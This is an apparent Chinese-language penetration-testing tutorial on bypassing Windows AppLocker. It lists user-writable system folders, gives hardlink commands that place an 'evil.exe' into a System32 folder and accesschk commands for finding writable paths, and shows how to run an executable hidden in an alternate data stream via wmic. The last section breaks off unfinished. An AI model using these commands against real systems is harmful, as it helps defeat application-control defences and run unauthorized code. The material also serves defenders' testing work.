Bypass AppLocker

1. 什么是AppLocker

AppLocker 是 Microsoft 提供的一种 应用程序控制策略,它允许系统管理员通过定义规则来控制用户和组可以运行哪些应用程序。AppLocker 是 Windows 的一部分,通常用于增强安全性和防止未经授权的软件运行。比如限制程序和脚本只能从特定的目录下运行(如 C:\Windows\*C:\Program Files\*),但这些目录通常都是需要高权限才能写入的

#检查applocker
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

2. AppLocker 的主要功能

  • 限制应用程序运行:管理员可以通过规则阻止或允许特定的可执行文件(如 .exe)、脚本(如 .ps1)、安装包(如 .msi)、DLL、以及 Windows 应用商店应用的运行。
  • 基于规则的控制:规则可以根据文件路径、文件哈希值或发行者证书进行定义,确保只有经过验证的应用可以运行。
  • 提高安全性:有效防止恶意软件、未知程序或未经授权的工具运行,降低系统受到攻击的风险。
  • 审核模式:AppLocker 提供了一个审核模式,允许管理员在不影响用户的情况下测试规则设置,查看规则的潜在影响。

3. 绕过方式

3.1. 将文件放置在可写路径中

以下文件夹默认可由普通用户写入(取决于 Windows 版本 - 这是从 W10 1803 开始的)

C:\Windows\Tasks  
C:\Windows\Temp  
C:\windows\tracing  
C:\Windows\Registration\CRMLog  
C:\Windows\System32\FxsTmp  
C:\Windows\System32\com\dmp  
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys  
C:\Windows\System32\spool\PRINTERS  
C:\Windows\System32\spool\SERVERS  
C:\Windows\System32\spool\drivers\color  
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter  
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)  
C:\Windows\System32\Tasks_Migrated(在执行 Windows 10 版本升级后)  
C:\Windows\SysWOW64\FxsTmp  
C:\Windows\SysWOW64\com\dmp  
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter  
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

如果可以将文件或文件夹放入路径中,则您将成为该对象的所有者,并且可以在 GUI 中或使用 ICALS 更改 ACL。这包括添加 Execute 权限等。如果 deny execute 是 inherit,则可以禁用继承,也可以使用以下命令之一使用硬链接到另一个文件夹中的二进制文件:

fsutil hardlink create c:\windows\system32\fxstmp\evil.exe c:\myfolder\plantedfile.exe 

mklink /h c:\windows\system32\fxstmp\evil.exe c:\myfolder\plantedfile.exe 

您可以通过从 sysinternals 运行 accesschk 并提供以下命令来检查其他路径:


accesschk -w -s -q -u Users "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Everyone "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Interactive "C:\Program Files" >> programfiles.txt

accesschk -w -s -q -u Users "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Everyone "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Interactive "C:\Program Files (x86)" >> programfilesx86.txt

accesschk -w -s -q -u Users "C:\Windows" >> windows.txt
accesschk -w -s -q -u Everyone "C:\Windows" >> windows.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Windows" >> windows.txt
accesschk -w -s -q -u Interactive "C:\Windows" >> windows.txt

3.2. 替代数据流 (Alternate Data Stream)

我们可以将可执行文件嵌入到另一个文件(替代数据流)中,然后从 ADS 中执行 EXE 文件(因为AppLocker 规则不会阻止可执行文件在 ADS 内部执行。)

但是从 ADS 中执行文件时,它会打开一个新窗口来运行程序。如果我们正在使用反向 shell 工作,这会导致我们无法看到所运行程序的输出

type C:\temp\hack.exe > "C:\Program Files\Program\log.txt:hac.exe"
wmic process call create '"C:\Program Files\Program\log.txt:hack.exe"'

4. 用户可写文件

在某些情况下,文件可由用户写入,并可用于绕过 AppLocker。
一种已知的情况是 C:\windows\system32\AppLocker 下的 3 个文件,称为:

5. Reference